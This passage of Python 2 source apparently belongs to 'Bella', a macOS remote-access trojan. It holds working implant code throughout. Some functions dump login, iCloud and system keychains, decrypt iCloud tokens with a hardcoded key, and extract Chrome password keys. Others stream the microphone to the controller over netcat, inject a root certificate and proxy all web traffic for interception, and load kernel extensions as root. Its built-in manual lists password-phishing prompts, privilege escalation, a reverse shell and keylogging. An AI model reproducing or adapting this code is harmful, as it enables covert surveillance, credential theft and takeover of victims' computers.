746 if z == "locality":
747 town = v
748
749 if streetAddress != " ": #in the event that we cant get a street address, dont print it to the final thing
750 send_msg("%s\n%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + streetAddress, town, state, country, "\033[0m" + timeStamp,"-----"), False)
751 else:
752 send_msg("%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + town, state, country, "\033[0m" + timeStamp,"-----"), False)
753
754 i += 1
755 localToken = tokenRead()
756 if tokenRead() != False:
757 uDsid = tokenRead().split("\n")[0]
758 send_msg("\033[91mFound \033[93m[%s]\033[91m friends for %s!\033[0m\n" % (i, uDsid), False)
759 return
760
761def iCloud_auth_process(tokenOverride):
762 #this function will return a username and password combination, or a DSID and token combination, along with a code for which one is being used.
763 returnString = ""
764 token = ""
765 usingToken = False
766 localToken = tokenRead()
767
768 applePresent = applepwRead()
769
770 if isinstance(applePresent, str) and tokenOverride == False:
771 (username, password) = applepwRead().split(":") #just take the first account if there are multiple
772 usingToken = False
773
774 elif localToken != False: #means we have a token file.
775 try:
776 (username, password) = localToken.split("\n")[1].split(":")
777 usingToken = True
778 except Exception, e:
779 return (e, False, usingToken)
780 else: #means we have neither a token file, or apple creds
781 return ("No token found, no apple credentials found.\n", False, usingToken)
782
783 return (username, password, usingToken)
784
785def iCloud_storage_helper(dsid, authToken):
786 authCode = base64.b64encode("%s:%s" % (dsid, authToken))
787 tokens = tokenFactory(authCode)
788 send_msg('Getting iCloud information.\n', False)
789 try:
790 req = urllib2.Request("https://p04-quota.icloud.com/quotaservice/external/mac/%s/storageUsageDetails" % dsid) #this will have all tokens
791 req.add_header('Authorization', 'Basic %s' % authCode)
792 req.add_header('Content-Type', 'application/json')
793 resp = urllib2.urlopen(req)
794 storageData = resp.read()
795 except Exception as e:
796 send_msg("Slight error [%s]" % e, False)
797 resp_dict = json.loads(storageData)
798
799 for x in tokens[1]: #tokens[1] is the account information of the user
800 send_msg("%s\n\n" % x, False)
801
802 try:
803 for x in resp_dict["photo"]:
804 if x["libraryEnabled"]:
805 send_msg(underline + "iCloud Photo Library: Enabled" + endANSI + "\n", False)
806 send_msg("\tPhoto Count: %s\n" % x["photoCount"], False)
807 send_msg("\tVideo Count: %s\n" % x["videoCount"], False)
808 send_msg("\tiCloud Photo Library Size: %s.%s GB\n" % (str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4]), False)
809 else:
810 send_msg(underline + "iCloud Photo Library: Disabled" + endANSI + "\n", False)
811 except:
812 send_msg("iCloud Photo Library: Disabled\n", False)
813
814 i = 0
815 try:
816 z = resp_dict["backups"]
817 if len(z) == 0:
818 send_msg("\n%sNo iCloud Backups found%s\n\n" % (underline, endANSI), False)
819 else:
820 send_msg("%siCloud Backups:%s\n" % (underline, endANSI), False)
821 for x in resp_dict["backups"]:
822 i += 1
823 #make a little dictionary to get the pretty name of the device.
824 productTypes = {'iPhone3,1': 'iPhone 4 (GSM)', 'iPhone3,2': 'iPhone 4 (CDMA)', 'iPhone4,1': 'iPhone 4s', 'iPhone5,1': 'iPhone 5 (GSM)', 'iPhone5,2': 'iPhone 5 (CDMA)', 'iPhone5,3': 'iPhone 5c', 'iPhone6,2': 'iPhone 5s (UK)', 'iPhone7,1': 'iPhone 6 Plus', 'iPhone8,1': 'iPhone 6s', 'iPhone8,2': 'iPhone 6s Plus', 'iPhone6,1': 'iPhone 5s', 'iPhone7,2': 'iPhone 6'}
825 try:
826 iPhone_type = productTypes[x["productType"]]
827 except:
828 iPhone_type = x["productType"]
829 send_msg("\t[%s] %s %s | Size is %s.%s GB | Model: %s\n" % (i, x["name"], x["lastModifiedLocalized"], str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4], iPhone_type), False)
830 except Exception, e:
831 send_msg("Error checking backups.\n%s\n" % str(e), False)
832
833 if len(tokens[0]) > 1:
834 send_msg("%sTokens!%s\n" % (underline, endANSI), False)
835 send_msg("\tMMeAuth: %s%s%s\n" % (blue, tokens[0][0], endANSI), False)
836 send_msg("\tCloud Kit: %s%s%s\n" % (red, tokens[0][1], endANSI), False)
837 send_msg("\tFMF App: %s%s%s\n" % (yellow, tokens[0][2], endANSI), False)
838 send_msg("\tFMiP: %s%s%s\n" % (green, tokens[0][3], endANSI), False)
839 send_msg("\tFMF: %s%s%s\n" % (violet, tokens[0][4], endANSI), False)
840 send_msg('', True)
841 return
842
843def insomnia_load():
844 if "book" in get_model().lower():
845 if is_there_SUID_shell():
846 gen = payload_generator(readDB('insomnia', True)) #will return b64 zip
847 payload_tmp_path = '/'.join(gen.split('/')[:-1])
848 do_root('unzip %s -d %s' % (gen, payload_tmp_path))
849 (success, msg) = do_root("chown -R 0:0 %s/Insomnia.kext/" % payload_tmp_path)
850 if not success:
851 return "%sError changing kext ownership to root.\n%s" % (red_minus, msg)
852 (success, msg) = do_root("kextload %s/Insomnia.kext/" % payload_tmp_path)
853 if not success:
854 return "%sError loading kext.\n%s" % (red_minus, msg)
855 return "%sInsomnia successfully loaded.\n" % greenPlus
856 return "%sYou need a root shell to load Insomnia.\n" % red_minus
857 else:
858 return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
859
860def insomnia_unload():
861 if "book" in get_model() or "Book" in get_model():
862 if is_there_SUID_shell():
863 (success, msg) = do_root("kextunload -b net.semaja2.kext.insomnia")
864 if not success:
865 return "%sError unloading kext.\n%s" % (red_minus, msg)
866 return "%sInsomnia successfully unloaded.\n" % greenPlus
867 return "%sYou need a root shell to load Insomnia.\n" % red_minus
868 else:
869 return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
870
871def resetUIDandName(): #if we are root we want to update the variable accordingly
872 global bella_user, helper_location, bella_UID
873 if os.getuid() == 0:
874 bella_user = cur_GUI_user()
875 bella_UID = pwd.getpwnam(bella_user).pw_uid
876 helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
877 return
878
879def initialize_socket():
880 basicInfo = ''
881 resetUIDandName()
882 os.chdir(os.path.expanduser('~'))
883
884 if not check_if_payloads():
885 print 'requesting payloads'
886 return 'payload_request_SBJ129' #request our payloads
887
888 if readDB('lastLogin') == False: #if it hasnt been set
889 updateDB('Never', 'lastLogin')
890
891 if not isinstance(get_model(), str): #if no model, put it in
892 output = check_output("sysctl hw.model")
893 if output[0]:
894 modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
895 output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
896 if not output[0]:
897 model = 'Macintosh'
898 else:
899 model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
900 updateDB(model, 'model')
901
902 if os.getuid() == 0:
903 basicInfo = 'ROOTED\n'
904
905 client_name = readDB('client_name')
906
907 if client_name == False:
908 output = check_output('scutil --get LocalHostName; echo %s; pwd; echo %s' % (get_bella_user(), readDB('lastLogin')))
909 else:
910 output = check_output('echo "%s"; echo "%s"; pwd; echo "%s"' % (client_name, get_bella_user(), readDB('lastLogin')))
911
912 if output[0]:
913 basicInfo += output[1]
914 else:
915 return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
916
917 output = check_output('ps -p %s -o etime=' % bellaPID)
918 if output[0]:
919 basicInfo += output[1]
920 else:
921 return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
922
923 updateDB(time.strftime("%a, %b %e %Y at %I:%M:%S %p"), 'lastLogin')
924 return basicInfo
925
926def iTunes_backup_looker():
927 backupPath = globber("/Users/*/Library/Application Support/MobileSync/Backup/*/Info.plist")
928 if len(backupPath) > 0:
929 backups = True
930 returnable = "%sLooking for backups! %s\n" % (blue_star, blue_star)
931 for z, y in enumerate(backupPath):
932 returnable += "\n----- Device " + str(z + 1) + " -----\n\n"
933 returnable += "Product Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Name\"' '%s'" % y).read().replace("\n", "")
934 returnable += "Product Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Version\"' '%s'" % y).read().replace("\n", "")
935 returnable += "Last Backup Date: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Last Backup Date\"' '%s'" % y).read().replace("\n", "")
936 returnable += "Device Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Device Name\"' '%s'" % y).read().replace("\n", "")
937 returnable += "Phone Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Phone Number\"' '%s'" % y).read().replace("\n", "")
938 returnable += "Serial Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Serial Number\"' '%s'" % y).read().replace("\n", "")
939 returnable += "IMEI/MEID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"IMEI\"' '%s'" % y).read().replace("\n", "")
940 returnable += "UDID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Target Identifier\"' '%s'" % y).read().replace("\n", "")
941 returnable += "iTunes Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"iTunes Version\"' '%s'" % y).read().replace("\n", "")
942 #iTunesBackupString += "Installed Apps: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Installed Applications\"' '%s'" % y).read().replace("\n", "")
943 else:
944 backups = False
945 returnable = "%sNo local backups found %s\n" % (blue_star, blue_star)
946 return (returnable, backups, len(backupPath))
947
948def kill_pid(pid):
949 try:
950 os.kill(pid, 9)
951 return True
952 except OSError, e:
953 return False
954
955def keychain_download():
956 try:
957 serial = []
958 for x in globber("/Users/*/Library/Keychains/login.keychain*"):
959 #with open(x, 'rb') as content:
960 content = protected_file_reader(x) #will return us permission acceptable file info
961 user = x.split("/")[2]
962 serial.append(pickle.dumps(['%s_login.keychain' % user, content]))
963
964 for iCloudKey in globber("/Users/*/Library/Keychains/*/keychain-2.db"):
965 iCloudZip = StringIO.StringIO()
966 joiner = '/'.join(iCloudKey.split("/")[:-1])
967 for files in protected_file_lister(joiner):
968 with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
969 subFile = os.path.join(joiner, files)
970 content = protected_file_reader(subFile)
971 zipped.writestr(files, content)
972 with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
973 zipped.writestr(joiner.split("/")[-1], 'Keychain UUID')
974 serial.append(pickle.dumps(["%s_iCloudKeychain.zip" % iCloudKey.split("/")[2], iCloudZip.getvalue()]))
975 if is_there_SUID_shell():
976 keys = protected_file_reader("/Library/Keychains/System.keychain")
977 serial.append(pickle.dumps(["System.keychain", keys]))
978 return 'keychain_download' + pickle.dumps(serial)
979 except Exception, e:
980 return (red_minus + "Error reading keychains.\n%s\n") % str(e)
981
982def manual():
983 value = "\n%sChat History%s\nDownload the user's macOS iMessage database.\nUsage: %schat_history%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
984 value += "\n%sCheck Backups%s\nEnumerate the user's local iOS backups.\nUsage: %scheck_backups%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
985 value += "\n%sChrome Dump%s\nDecrypt user passwords stored in Google Chrome profiles.\nUsage: %schrome_dump%s\nRequirements: Chrome SS Key [see chrome_safe_storage]\n" % (underline + bold + green, endANSI, bold, endANSI)
986 value += "\n%sChrome Safe Storage%s\nPrompt the keychain to present the user's Chrome Safe Storage Key.\nUsage: %schrome_safe_storage%s\nRequirements: None\n" % (underline + bold + green, endANSI, bold, endANSI)
987 value += "\n%sCurrent Users%s\nFind all currently logged in users.\nUsage: %scurrent_Users%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
988 value += "\n%sGet Root%s\nAttempt to escalate Bella to root through a variety of attack vectors.\nUsage: %sget_root%s\nRequirements: None\n" % (underline + bold + red, endANSI, bold, endANSI)
989 value += "\n%sFind my iPhone%s\nLocate all devices on the user's iCloud account.\nUsage: %siCloud_FMIP%s\nRequirements: iCloud Password [see iCloud_phish]\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
990 value += "\n%sFind my Friends%s\nLocate all shared devices on the user's iCloud account.\nUsage: %siCloud_FMF%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
991 value += "\n%siCloud Contacts%s\nGet contacts from the user's iCloud account.\nUsage: %siCloud_contacts%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
992 value += "\n%siCloud Password Phish%s\nTrick user into verifying their iCloud password through iTunes prompt.\nUsage: %siCloud_phish%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
993 value += "\n%siCloud Query%s\nGet information about the user's iCloud account.\nUsage: %siCloud_query%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
994 value += "\n%siCloud Token%s\nPrompt the keychain to present the User's iCloud Authorization Token.\nUsage: %siCloud_token%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
995 value += "\n%sInsomnia Load%s\nLoads an InsomniaX Kext to prevent laptop from sleeping, even when closed.\nUsage: %sinsomnia_load%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
996 value += "\n%sInsomnia Unload%s\nUnloads an InsomniaX Kext loaded through insomnia_load.\nUsage: %sinsomnia_unload%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
997 value += "\n%sInteractive Shell%s\nLoads an interactive reverse shell (bash) to the remote machine. This allows us to run commands such as telnet, nano, sudo, etc.\nUsage: %sinteractive_shell%s\n" % (underline + bold, endANSI, bold, endANSI)
998 value += "\n%sBella Info%s\nExtensively details information about the user and information from the Bella instance.\nUsage: %sbella_info%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
999 value += "\n%sKeychain Download%s\nDownloads all available Keychains, including iCloud, for offline processing.\nUsage: %skeychain_download%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1000 value += "\n%sMike Stream%s\nStreams the microphone input over a socket.\nUsage: %smike_stream%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1001 value += "\n%sMITM Start%s\nInjects a Root CA into the System Roots Keychain and redirects all traffic to the CC.\nUsage: %smitm_start%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1002 value += "\n%sMITM Kill%s\nEnds a MITM session started by MITM start.\nUsage: %smitm_kill%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1003 value += "\n%sReboot Server%s\nRestarts a Bella instance.\nUsage: %sreboot_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1004 value += "\n%sRemove Server%s\nCompletely removes a Bella server remotely.\nUsage: %sremoveserver_yes%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1005 value += "\n%sSafari History%s\nDownloads user's Safari history in a nice format.\nUsage: %ssafari_history%s\nRequirements: None.\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1006 value += "\n%sScreenshot%s\nTake a screen shot of the current active desktop.\nUsage: %sscreen_shot%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1007 value += "\n%sSet Client Name%s\nChange the computer name that is displayed in the Control Center.\nUsage: %sset_client_name%s\nRequirements: None.\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1008 value += "\n%sShutdown Server%s\nUnloads Bella from launchctl until next reboot.\nUsage: %sshutdown_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1009 value += "\n%sSystem Information%s\nReturns basic information about the system.\nUsage: %ssysinfo%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1010 value += "\n%sUser Pass Phish%s\nWill phish the user for their password with a clever dialog.\nUsage: %suser_pass_phish%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1011 #value += "\n%sKey Start%s\nBegin keylogging in the background.\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
1012 #value += "\n%sKey Kill%s\nStop keylogging started through Key Start\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
1013 #value += "\n%sKey Read%s\nReads the encrypted key log file from Key Start.\nUsage: %skeyRead%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
1014 return value
1015
1016def mike_helper(payload_path):
1017 stream_port = 2897
1018 send_msg('%sOpening microphone.\n' % blue_star, False)
1019 pipe = subprocess.Popen('%s' % payload_path, stdout=subprocess.PIPE)
1020 subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'Microphone') #keep track of mikepipe since it never closes, as well as payload path
1021 send_msg('%sOpened microphone [%s].\n' % (blue_star, pipe.pid), False)
1022 send_msg('%sOpening Stream.\n' % blue_star, False)
1023 stream = subprocess.Popen(('nc %s %s' % (host, stream_port)).split(), stdin=pipe.stdout, stdout=subprocess.PIPE)
1024 time.sleep(2) #give a few seconds to terminate if not running ...
1025 #stream.poll will be the exit code if it has exited, otherwise it will be None (so, None if we are connected)
1026 if stream.poll(): #if None, we are connected, see Else. If an integer, we have crashed.
1027 send_msg('%sListener could not be reached. Closing microphone.\n' % red_minus, False)
1028 if kill_pid(pipe.pid):
1029 send_msg('%sClosed microphone.\n' % blue_star, True)
1030 else:
1031 send_msg('%sError closing microphone with PID [%s].\n' % (red_minus, pipe.pid), True)
1032 else:
1033 send_msg('%sListener connected, microphone streaming.\n' % greenPlus, True)
1034 return 0
1035
1036def mitm_kill(interface, certsha1):
1037 if not is_there_SUID_shell():
1038 return "%sYou must have a root shell to stop MITM. See get_root.\n" % red_minus
1039
1040 x = check_output("networksetup -getsecurewebproxy %s" % interface)
1041 if not x[0]:
1042 if x[2] == 8:
1043 send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
1044 send_msg(x[1], True)
1045 if "Enabled: No" in x[1]:
1046 send_msg("%s\033[4mAlready disabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
1047 return
1048
1049 cert = cert_remove(certsha1)
1050 if 'Error' in cert:
1051 send_msg('ERROR REMOVING CERTIFICATE FROM KEYCHAIN. YOU SHOULD PERFORM MANUALLY.\n', False)
1052 send_msg(cert, False)
1053
1054 (success, msg) = do_root("networksetup -setwebproxy %s '' 0" % interface)
1055 if not success:
1056 send_msg("%sSetting [%s] HTTP proxy to null failed!\n" % (red_minus, interface), False)
1057 else:
1058 send_msg("%sSet [%s] HTTP proxy to null.\n" % (greenPlus, interface), False)
1059
1060 (success, msg) = do_root("networksetup -setsecurewebproxy %s '' 0" % interface)
1061 if not success:
1062 send_msg("%sSetting [%s] HTTPS proxy to null failed!\n" % (red_minus, interface), False)
1063 else:
1064 send_msg("%sSet [%s] HTTPS proxy to null.\n" % (greenPlus, interface), False)
1065
1066 (success, msg) = do_root("networksetup -setwebproxystate %s off" % interface)
1067 if not success:
1068 send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
1069 else:
1070 send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
1071
1072 (success, msg) = do_root("networksetup -setsecurewebproxystate %s off" % interface)
1073 if not success:
1074 send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
1075 else:
1076 send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
1077
1078 send_msg('', True)
1079 return 1
1080
1081def mitm_start(interface, cert):
1082 if not is_there_SUID_shell():
1083 send_msg("%sYou must have a root shell to start MITM. See get_root.\n" % red_minus, True)
1084 return
1085
1086 x = check_output("networksetup -getsecurewebproxy %s" % interface)
1087 if not x[0]:
1088 if x[2] == 8:
1089 send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
1090 send_msg(x[1], True)
1091 if "Enabled: Yes" in x[1]:
1092 send_msg("%s\033[4mAlready enabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
1093 send_msg('', True)
1094 return
1095
1096 cert = cert_inject(cert)
1097 if 'Error' in cert:
1098 send_msg(cert, True)
1099 send_msg('', True)
1100 return
1101 send_msg(cert, False)
1102
1103 (success, msg) = do_root("networksetup -setwebproxy %s %s 8081" % (interface, host))
1104 if not success:
1105 send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
1106 send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081].\n" % (greenPlus, interface, host), False)
1107
1108 (success, msg) = do_root("networksetup -setsecurewebproxy %s %s 8081" % (interface, host))
1109 if not success:
1110 send_msg("%sRedirecting [%s] HTTPS (443) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
1111 send_msg("%sRedirecting [%s] HTTP (443) to [%s:8081].\n" % (greenPlus, interface, host), False)
1112 send_msg("mitmReady", True)
1113 return
1114
1115def payload_generator(data):
1116 dirpath = tempfile.mkdtemp()
1117 with open("%s/americangirl" % dirpath, "wb") as content:
1118 content.write(data.decode('base64'))
1119 os.chmod("%s/americangirl" % dirpath, 0777) #set rw execute bits to 7 for ugw
1120 temp_file_list.append(dirpath)
1121 return '%s/americangirl' % dirpath
1122
1123def payload_cleaner():
1124 for x in temp_file_list:
1125 try:
1126 shutil.rmtree(x)
1127 #print 'Removed %s' % x
1128 temp_file_list.remove(x)
1129 except OSError as e:
1130 pass
1131 print e
1132 return
1133
1134def chainbreaker(kcpath, key, service, password=None):
1135 kcbreaker = readDB('chainbreaker', True)
1136 if not kcbreaker:
1137 return ("%sError reading chainbreaker from DB.\n" % red_minus, False)
1138 path = payload_generator(kcbreaker)
1139 try:
1140 if password:
1141 value = (subprocess.check_output("%s -f '%s' -p '%s' -s '%s'" % (path, kcpath, password, service), shell=True).replace('\n', ''), True)
1142 else:
1143 value = (subprocess.check_output("%s -f '%s' -k '%s' -s '%s'" % (path, kcpath, key, service), shell=True).replace('\n', ''), True)
1144 if '[!] ERROR: ' in value[0]:
1145 return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, value[0]), False)
1146 print repr(value[0])
1147 if value[0] == '':
1148 return ("No KC entry for %s." % service, False)
1149
1150 return value
1151 except Exception as e:
1152 return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, e), False)
1153
1154def kciCloudHelper(iCloudKey):
1155 #this function is tailored to keychaindump. Takes an iCloud key, and returns tokens
1156 msg = base64.b64decode(iCloudKey)
1157 key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
1158 hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
1159 hexedKey = binascii.hexlify(hashed)
1160 IV = 16 * '0'
1161 mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
1162 for x in mme_token_file:
1163 try:
1164 int(x.split("/")[-1])
1165 mme_token_file = x
1166 except ValueError:
1167 continue
1168 send_msg("\t%sDecrypting token plist\n\t [%s]\n" % (blue_star, mme_token_file), False)
1169 decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
1170 from Foundation import NSData, NSPropertyListSerialization
1171 binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
1172 token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
1173 tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
1174 tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
1175 return tokz
1176
1177def getKeychains():
1178 #will return the last modified keychain
1179 send_msg("%sFound the following keychains for [%s]:\n" % (yellow_star, get_bella_user()), False)
1180 kchains = glob("/Users/%s/Library/Keychains/login.keychain*" % get_bella_user())
1181 for x in kchains:
1182 send_msg("\t[%s]\n" % x, False)
1183 if len(kchains) == 0:
1184 send_msg("%sNo Keychains found for [%s].\n" % (yellow_star, get_bella_user()), True)
1185 return
1186 kchains.sort(key=os.path.getmtime)
1187 kchain = kchains[-1] #get the last modified one
1188 #for x in kchains:
1189 # if x.endswith('-db'):
1190 # kchain = x
1191 return kchain
1192
1193def bella_info():
1194 mainString = ""
1195 send_msg("%sGathering system information.\n" % yellow_star, False)
1196 systemVersion = str(platform.mac_ver()[0])
1197 send_msg("%sSystem version is %s.\n" % (blue_star, systemVersion), False)
1198 send_msg("%sShell location: [%s].\n" % (blue_star, get_bella_path()), False)
1199 send_msg(blue_star + get_model(), False)
1200 try:
1201 battery = subprocess.check_output("pmset -g batt", shell=True).decode('utf-8', 'replace').split('\t')[1].split(";")
1202 charging = battery[1].replace(" ", "")
1203 percentage = battery[0]
1204 if charging == "charging":
1205 send_msg("%sBattery: %s [Charging]\n" % (blue_star, percentage), False)
1206 else:
1207 send_msg("%sBattery: %s [Discharging]\n" % (blue_star, percentage), False)
1208 except:
1209 pass
1210
1211 if not systemVersion.startswith("10.12"):
1212 if systemVersion == "10.11.1" or systemVersion == "10.11.2" or systemVersion == "10.11.3" or not systemVersion.startswith("10.11"):
1213 if is_there_SUID_shell(): #normal user.
1214 send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
1215 else:
1216 send_msg("%sPrivilege escalation is possible!\n" % blue_star, False) #LPA possible, no need to display sudoers access info.. right?
1217 else:
1218 if os.getuid() == 0:
1219 send_msg("%sBella is running as root.\n" % greenPlus, False)
1220 elif is_there_SUID_shell():
1221 send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
1222 else:
1223 send_msg("%sNo root access via SUID shell.\n" % red_minus, False)
1224
1225 filevault = check_output("fdesetup status")
1226 if filevault[0]:
1227 if "On" in filevault[1]:
1228 send_msg(red_minus + filevault[1], False)
1229 else:
1230 send_msg(greenPlus + filevault[1], False)
1231
1232 if systemVersion.startswith("10.11") or systemVersion.startswith("10.12"):
1233 csrutil = subprocess.Popen(["csrutil status"], stdout=subprocess.PIPE, shell=True)
1234 (out, err) = csrutil.communicate()
1235 if "disabled" in out:
1236 send_msg(greenPlus + out, False)
1237 sipEnabled = False #SIP function exists, but is specifically and intentionally disabled! (enterprise environments likely have this config)
1238 if "enabled" in out:
1239 send_msg(red_minus + out, False)
1240 sipEnabled = True
1241 else:
1242 sipEnabled = False
1243
1244 kchain = getKeychains()
1245
1246 if not sipEnabled: #sipDisabled allows us to check like .1% of cases where user is on El Cap and has opted out of SIP
1247 if is_there_SUID_shell():
1248 kcpayload = readDB('keychaindump', True)
1249 if not kcpayload:
1250 send_msg("%sError reading KCDump payload from Bella Database.\n" % red_minus, False)
1251 else:
1252 kcpath = payload_generator(kcpayload)
1253 (success, msg) = do_root("%s '%s' | grep 'Found master key:'" % (kcpath, kchain)) # ??? Why doesnt this work for tim?
1254 master_key = msg.replace("[+] Found master key: ", "").replace("\n", "")
1255 if success:
1256 send_msg(" Login keychain master key found for [%s]:\n\t[%s]\n" % (kchain.split("/")[-1], msg.replace("[+] Found master key: ", "").replace("\n", "")), False)
1257 if not readDB('mme_token'):
1258 send_msg("\t%sAttempting to generate iCloud Auth Keys.\n" % blue_star, False)
1259 iCloud = chainbreaker(kchain, master_key, 'iCloud')
1260 send_msg("\t%siCloud:\n\t [%s]\n" % (yellow_star, iCloud[0]), False)
1261 if iCloud[1]:
1262 send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False)
1263 decrypted = kciCloudHelper(iCloud[0])
1264 if not decrypted:
1265 send_msg("\t%sError getting decrypted MMeAuthTokens with this key.\n" % red_minus, False)
1266 else:
1267 send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False)
1268 updateDB(encrypt(decrypted), 'mme_token')
1269 send_msg("\t%sUpdated DB.\n\t --------------\n" % greenPlus, False)
1270 if not readDB('chromeSS'):
1271 send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False)
1272 chrome = chainbreaker(kchain, master_key, 'Chrome Safe Storage')
1273 send_msg("\t%sChrome:\n\t [%s]\n" % (yellow_star, chrome[0]), False)
1274 if chrome[1]:
1275 send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False)
1276 updateDB(encrypt(chrome[0]), 'chromeSS')
1277 send_msg("\t%sUpdated DB.\n" % greenPlus, False)
1278 else:
1279 send_msg("%sError finding %slogin%s master key for user [%s].\n\t%s\n" % (red_minus, bold, endANSI, get_bella_user(), msg), False)
1280 (success, msg) = do_root("%s '/Library/Keychains/System.keychain' | grep 'Found master key:'" % kcpath)
1281 if success:
1282 msg = msg.replace("[+] Found master key: ", "").replace("\n", "")
1283 if msg != '':
1284 send_msg("%sSystem keychain master key found:\n [%s]\n" % (greenPlus, msg), False)
1285 else:
1286 send_msg("%sCould not find %sSystem%s master key.\n" % (red_minus, bold, endANSI), False)
1287 payload_cleaner()
1288
1289 iTunesSearch = get_iTunes_accounts()
1290
1291 for x in iTunesSearch:
1292 if x[0]:
1293 send_msg("%siCloud account present [%s:%s]\n" % (greenPlus, x[2], x[1]), False)
1294 else:
1295 send_msg(red_minus + x[1], False)
1296
1297 iOSbackups = iTunes_backup_looker()
1298
1299 if iOSbackups[1]:
1300 send_msg("%siOS backups are present and ready to be processed. [%s]\n" % (greenPlus, iOSbackups[2]), False)
1301 else:
